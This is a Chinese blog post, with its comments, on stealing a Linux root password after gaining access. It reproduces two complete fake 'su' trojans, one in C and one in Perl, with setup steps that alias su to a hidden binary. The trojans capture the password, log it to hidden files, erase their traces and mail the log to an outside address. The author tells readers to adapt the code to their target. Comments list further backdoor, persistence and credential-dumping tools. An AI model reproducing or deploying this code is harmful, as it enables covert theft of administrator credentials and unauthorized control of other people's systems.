通过Web获取到backdoor本身是root(可能性小的可怜)或通过某漏洞溢出成功得到最高权限后,如果能获取root密码能给我们带来很多的好处。网上给出的主要是两种方法:一个是欺骗/替换su记录密码,另外一个是替换sshd(个人觉得就类似于之前的中文版Putty的那个后门一样,在连接SSH的同时记录下你输入的用户名密码),下面先看看欺骗su记录密码的代码吧!
先看第一种,kpr-fakesu.c V0.9beta167
/* * kpr-fakesu.c V0.9beta167 ;P * by koper <[email protected]> * * Setting up: * admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c * admin@host:~$ mv .su /var/tmp/.su * admin@host:~$ cp .bash_profile .wgetrc * admin@host:~$ echo "alias su=/var/tmp/.su">>.bash_profile * admin@host:~$ logout * *** LOGIN *** * admin@host:~$ su * Password: * su: Authentication failure * Sorry. * admin@host:~$ su * Password: * root@host:~# logout * admin@host:~$ cat /var/tmp/.pwds * root:dupcia17 * admin@host:~$ * * /bin/su sends various failure information depending on the OS ver. * Please modify the source to make it "fit" * */ #include <stdio.h> #include <stdlib.h> void main(int argc, char *argv[]){ FILE *fp; char *user; char *pass; char filex[100]; char clean[100]; sprintf(filex, "/var/tmp/.pwds"); sprintf(clean, "rm -rf /var/tmp/.su;mv -f /home/admin/.wgetrc /home/admin/.bash_profile"); if(argc==1) user="root"; if(argc==2) user=argv[1]; if(argc>2){ if(strcmp(argv[1], "-l")==0) user=argv[2]; else user=argv[1]; } fprintf(stdout, "Password: "); pass=getpass(""); system("sleep 3″); fprintf(stdout, "su: Authentication failurenSorry.n"); if ((fp=fopen(filex, "w")) != NULL) { fprintf(fp, "%s:%s", user, pass); fclose(fp); } system(clean); system("rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su"); /* If you don't want password in your e-mail uncomment this line: */ system("uname -a >> /var/tmp/.pwds; cat /var/tmp/.pwds | mail [email protected]"); }
注意:如果要用的话你需要根据特定的系统环境修改代码中的错误提示符以及.bash_profile等在不同系统上有差异的文件名。
还有一个Perl的版本:
#!/usr/bin/perl ################################################################################ # [email protected] 2006 su trojan check so the su path is correct. # # then make alias for trojan first it reads the pass then exec the real su. # # logging to /tmp/.pass # ################################################################################ print "Password: "; $s1=<STDIN>; print "Sorry.n"; $s2="Password is: "; $s3=`date +%Y-%m-%d`; open(users, ">>/tmp/.pass") || die("Could not open file. $!"); print users($s2, $s1, $s3); close(users); system("/bin/su")
另一种方法是替换sshd,这里就不详细说了。
本文转自linuxso,然后稍微美化了一下其中的代码格式便于阅读。
《 “提权后获取Linux root密码” 》 有 11 条评论
MimiPenguin – Linux 系统上的内存明文导出工具
https://github.com/huntergregal/mimipenguin
http://www.freebuf.com/sectool/131165.html
用Python写的增强版mimipenguin.sh
https://github.com/n1nj4sec/mimipy
`
目前不支持非桌面版的Linux,只有桌面版的能抓,未来会支持非桌面环境
`
在 Linux 下使用 ptrace 向 sshd 进程注入任意代码
https://blog.xpnsec.com/linux-process-injection-aka-injecting-into-sshd-for-fun/
C 程序黑手大赛(The Underhanded C Contest),考验参赛者如何神不知鬼不觉的在代码中藏后门
http://underhanded-c.org/
Linux后门整理合集(脉搏推荐)
https://www.secpulse.com/archives/59674.html
https://wiki.ioin.in/
Logrotate 下的持续化后门
https://threathunter.org/topic/59d9b3daec721b1f1966ec6c
Linux后门
http://rcoil.me/2017/04/Linux%E5%B0%8F%E5%90%8E%E9%97%A8/
`
1. PAM后门
2. openssh后门
2.1. SSH留后门
2.2. 清除痕迹
2.3. 隐身登陆
3. SSH wrapper后门
4. rootkit
Mafix
`
rootstealer – 检测 Linux 中的 root 用户终端并注入自定义命令
https://github.com/CoolerVoid/rootstealer
50 ton of Backdoors,部署 Linux 后门的多种方式
https://www.slideshare.net/ulissescastro/50-ton-of-backdoors
UBoat – HTTP 协议后门项目
https://github.com/Souhardya/Uboat
A script written lazily for generating cross-platform backdoors on the go 🙂
https://github.com/Souhardya/Zerodoor
我所了解的渗透测试——Linux后门类型
[1] https://www.anquanke.com/post/id/155943
后渗透阶段的权限维持(Windows篇)
[2] http://view.inews.qq.com/a/20180820B0WO1Z00
win权限维持
[3] https://phyb0x.github.io/2018/12/21/win%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81/
windows后门种植方式收集
[4] http://xnianq.cn/2018/07/23/windows%E5%90%8E%E9%97%A8%E7%A7%8D%E6%A4%8D%E6%96%B9%E5%BC%8F%E6%94%B6%E9%9B%86/
[5] https://www.anquanke.com/post/id/99793
Metasploit的高级可持续性后门
[6] https://www.secfree.com/a/1049.html
Linux rootkit 初探
[7] http://hebic.me/2018/11/02/Linux-rootkit-%E5%88%9D%E6%8E%A2/
9 Ways to Backdoor a Linux Box
https://medium.com/@airman604/9-ways-to-backdoor-a-linux-box-f5f83bae5a3c
`
1. SSH keys
2. PHP
3. Steal PHP Sessions
4. Cron Jobs
5. Apache mod_rootme
6. Users’ .bashrc
7. Services
8. sudoers
9. SUID files
`
WHAT IS SUID AND HOW TO SET SUID IN LINUX/UNIX?
https://www.linuxnix.com/suid-set-suid-linuxunix/
SSH keys
https://wiki.archlinux.org/index.php/SSH_keys